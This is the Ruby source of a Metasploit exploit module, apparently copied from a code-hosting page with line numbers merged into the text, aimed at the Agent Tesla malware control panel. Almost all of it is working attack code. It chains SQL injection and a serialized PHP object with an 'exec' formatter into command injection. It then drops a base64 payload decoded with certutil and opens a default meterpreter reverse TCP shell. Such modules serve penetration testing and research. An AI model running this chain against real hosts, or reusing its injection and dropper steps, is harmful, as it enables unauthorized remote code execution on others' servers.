Path: blob/master/modules/exploits/multi/http/agent_tesla_panel_rce.rb
32698 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Agent Tesla Panel Remote Code Execution',17'Description' => %q{18This module exploits a command injection vulnerability within the Agent Tesla control panel,19in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain20remote code execution on affected hosts.2122Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to23gain remote code execution as user running the web server. Agent Tesla panels released on or after24this date can still be exploited however, provided that attackers have valid credentials for the25Agent Tesla control panel.2627Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.28Support for Linux may be added in a future update, but could not be confirmed during testing.29},30'Author' => [31'Ege Balcı <[email protected]>', # discovery and independent module32'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE33'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit34],35'References' => [36['EDB', '47256'], # Original PoC and Metasploit module37['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download38['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.39['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla40],41'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.42'License' => MSF_LICENSE,43'Privileged' => false,44'Targets' => [45[46'Automatic (PHP-Dropper)', {47'Platform' => 'php',48'Arch' => [ARCH_PHP],49'Type' => :php_dropper,50'DefaultOptions' => {51'PAYLOAD' => 'php/meterpreter/reverse_tcp',52'DisablePayloadHandler' => 'false'53}54}55],56],57'DefaultTarget' => 0,58'Notes' => {59'Stability' => [CRASH_SAFE],60'Reliability' => [REPEATABLE_SESSION],61'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]62}63)64)6566register_options([67OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),68OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),69OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])70])71end7273def os_get_name74response = parse_response(execute_command('echo $PATH'))7576## Not linux, check Windows.77response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')7879os_name = ''80if response =~ %r{^/}81os_name = 'linux'82elsif response =~ /^[a-zA-Z]:\\/83os_name = 'windows'84end8586os_name87end8889def parse_response(js)90return '' unless js9192begin93return js.get_json_document['data'][0].values.join94rescue NoMethodError95return ''96end97return ''98end99100def execute_command(command, _opts = {})101junk = rand(1_000)102sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")103requested_payload = {104'table' => 'passwords',105'primary' => 'HWID',106'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',107'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")108}109cookie = auth_get_cookie110111request = {112'method' => 'GET',113'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')114}115request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth116request = request.merge({117'encode_params' => true,118'vars_get' => requested_payload119})120121response = send_request_cgi(request)122return false unless response123124return response if response.body125126false127end128129def auth_get_cookie130if datastore['USERNAME'] && datastore['PASSWORD']131response = send_request_cgi(132'method' => 'POST',133'uri' => normalize_uri(target_uri.path, 'login.php'),134'vars_post' => {135'Username' => datastore['USERNAME'],136'Password' => datastore['PASSWORD']137}138)139return :not_auth unless response140141return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/142end143144:not_auth145end146147def check148# check for login credentials couple.149if datastore['USERNAME'] && datastore['PASSWORD'].nil?150fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')151end152153if datastore['PASSWORD'] && datastore['USERNAME'].nil?154fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')155end156157response = send_request_cgi(158'method' => 'GET',159'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')160)161162if response163if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])164print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')165return Exploit::CheckCode::Unknown166end167168rand_str = Rex::Text.rand_text_alpha(8..16)169cmd_output = parse_response(execute_command("echo #{rand_str}"))170171return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)172end173174Exploit::CheckCode::Safe175end176177def exploit178os = os_get_name179unless os180print_bad('Could not determine the targeted operating system.')181return Msf::Exploit::Failed182end183print_status("Targeted operating system is: #{os}")184185file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"186case os187when /linux/188fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")189when /windows/190cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"191end192print_status("Sending #{datastore['PAYLOAD']} command payload")193vprint_status("Generated command payload: #{cmd}")194195response = execute_command(cmd)196unless response && response.code == 200 && response.body.include?('command completed successfully')197fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')198end199if os == 'windows'200panel_uri = datastore['TARGETURI'].gsub('/', '\\')201print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")202register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")203else204fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")205end206207# Triggering payload.208send_request_cgi({209'method' => 'GET',210'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)211}, 2.5)212end213end214215216